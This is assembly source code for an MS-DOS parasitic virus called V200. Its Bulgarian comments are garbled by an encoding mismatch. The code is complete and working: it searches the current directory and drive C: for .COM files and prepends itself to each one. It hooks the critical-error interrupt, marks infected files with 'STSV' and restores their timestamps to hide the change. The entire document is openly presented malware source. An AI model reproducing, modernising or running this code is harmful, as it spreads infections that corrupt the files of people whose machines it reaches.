;------------------------------------------------------------------------------; ; ; ; Ви░│▒ V200 ; ; ; ; V200 е па░ази▓ен ви░│▒, дей▒▓вие▓о м│ ▒е ▒║▒▓ой в ▒ледно▓о - п░и ▒▓а░▓и░ане; ; на за░азен ┤айл ви░│▒║▓ п░е▓║░▒ва ╢┐ла▓а ▓ек│╣а ди░ек▓о░и┐ и за░аз┐ва в▒и╖ки ; ; COM - ┤айлове,в ▒л│╖ай,╖е в ▒и▒▓ема▓а има │▒▓░ой▒▓во C: ▓ези дей▒▓ви┐ ▒е ; ; изп║лн┐ва▓ в негова▓а ▓ек│╣а ди░ек▓о░и┐. ; ; V200 ▒е на▒▓ан┐ва п░еди кода на за░азени┐ ┤айл, ви░│▒║▓ о░ганизи░а ; ; ▒об▒▓вена п░о╢ед│░а за об░або▓ка на к░и▓и╖ни г░е╕ки (век▓о░ 24h) и не п░омен┐; ; да▓а▓а и ╖а▒а на за░┐зани▓е ┤айлове. ; ; ; ;------------------------------------------------------------------------------; .model Tiny .code VirLen = 200 NewId = offset Mark - 100h ;-----------------------------------------------------------------------------; ORG 0D0h INT24 dw ? ; Т│к ╣е б║де на▒о╖ен век▓о░ 24h. INT24a db ? NewDTA db 15h dup (?) ; С▓░│к▓│░а на DTA. FAttr db ? FTime dw ? FDate dw ? FLen dw ?, ? FName db 0Dh dup (?) ;-----------------------------------------------------------------------------; ORG 100h Start: push ax mov INT24,3B0h ; Нов век▓о░ 24h : mov al,03 mov INT24a,0CFh ; iret mov ax,2524h mov dx,offset INT24 int 21h ; П░ена▒о╖ва век▓о░а 24h. mov ah,19h int 21h ; И▒ка о▓ ДОС ▓ек│╣о▓о │▒▓░ой▒▓во. push ax ; Запазва ▓ек│╣о▓о │▒▓░ой▒▓во. mov ah,0Eh mov dl,02h int 21h ; Смен┐ ▓ек│╣о▓о │▒▓░ой▒▓во на C: mov ax,cs add ah,10h mov es,ax ; ES = CS + 64KBytes mov si,offset Start xor di,di mov cx,VirLen ; П░е╡в║░л┐ кода на ви░│▒а 64KBytes rep movsb ; по-наго░е в паме▓▓а. mov dx,offset NewDTA ; По▒▓ав┐ DTA на нов ад░е▒. mov ah,1Ah int 21h ;...... Запо╖ва ▓║░▒ене на ┤айлове за за░аз┐ване. mov dx, offset AllCom ; Т║░▒и в▒и╖ки '*.COM' ┤айлове. mov cl,110B mov ah,4Eh ; Извиква Find First. int 21h jc Done ; П░од║лжава на▓а▓║к п░и лип▒а на ; ┤айлове за за░аз┐ване. FindNext: mov dx,offset Fname ; В dx ад░е▒а на име▓о на ┤айла о▓ DTA. mov ax,3D02h ; О▓ва░┐ ┤айла за запи▒/╖е▓ене. int 21h mov bx,ax ; Запазва номе░а на о▓во░ени┐ ┤айл. push ds ; Запазва DS. push es pop ds ; П░о╖и▓а ▒е ╢ели┐ ┤айл на ад░е▒а-DS:DX mov dx,VirLen ; DS = CS + 64KBytes mov cx,0FFFFh ; DX = д║лжина▓а на ви░│▒а mov ah,3Fh ; Там ▒е нами░а ви░│▒а,а ▒ега ▒лед него int 21h ; и ┤айл║▓. add ax,VirLen ; Увели╖ава д║лжина▓а на ┤айла(AX) ▒ mov si,ax ; д║лжина▓а на ви░│▒а и ┐ запазва в SI. cmp Word ptr ds:[NewId+VirLen],'TS' ; Дали ┤айл║▓ е за░азен ве╖е ? je Close xor cx,cx xor dx,dx mov ax,4200h ; П░еме▒▓ва ▒е │каза▓ел┐ на ┤айла в int 21h ; на╖ало▓о м│. mov cx,si mov ah,40h ; О▓ ад░е▒а DS:DX ▒е запи▒ва на ди▒ка int 21h ; ви░│▒ + ┤айл mov cx,cs:FTime mov dx,cs:FDate mov ax,5701h ; В║з▒▓анов┐ва▓ ▒е да▓а▓а и в░еме▓о на int 21h ; за░аз┐вани┐ ┤айл о▓ DTA. Close: pop ds ; В║з▒▓анов┐ва DS. mov ah,3Eh ; За▓ва░┐ ┤айла. int 21h mov ah,4Fh int 21h ; Извиква Find Next, jnc FindNext ; ако има о╣е ┤айлове в▒и╖ко ▒е пов▓а░┐ ; и за ▓┐╡. Done: mov dx,80h mov ah,1Ah int 21h ; В║з▒▓анов┐ва ▒е ▒▓а░и┐ ад░е▒ на DTA. pop dx mov ah,0Eh int 21h ; В║з▒▓анов┐ва ▒е ▓ек│╣и┐ зава░ен ди▒к. ;....... На╖ало на ▒▓а░▓и░ане на п░ог░ама▓а к║м ко┐▓о е зака╖ен ви░│▒а. mov si,offset TransF mov cx,offset EndCode - offset Transf xor di,di ; Копи░а 64KBytes по-наго░е една rep movsb ; ▒помага▓елна ╖а▒▓, използван по-дол│. pop bx ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX в BX. push es push cx RETF ; О▓ива на ад░е▒ ES:00 ;....................................... ; Ма░ки░овка за ░азпознаване на за░азени Mark DB 'STSV' ; ┤айлове. AllCom db '*.COM',0 ; Ма▒ка за ▓║░▒ене на в▒и╖ки ┤айлове ;.......................................; за за░аз┐ване. TRansF: push ds pop es mov si,offset EndCode mov di,offset Start dec cx sub cx,si ; См║ква кода на п░ог░ама▓а запо╖ва╣ rep movsb ; непо▒░ед▒▓вено ▒лед ви░│▒а ▒ 100h бай▓а ; надол│. push ds mov ax,100h push ax mov ax,bx ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX. RETF ; П░едава │п░авление▓о на п░ог░ама▓а ; на ад░е▒ DS:100h. ;-----------------------------------------------------------------------------; EndCode: int 20h ; О▓ ▓│к запо╖ва за░азена▓а п░ог░ама End Start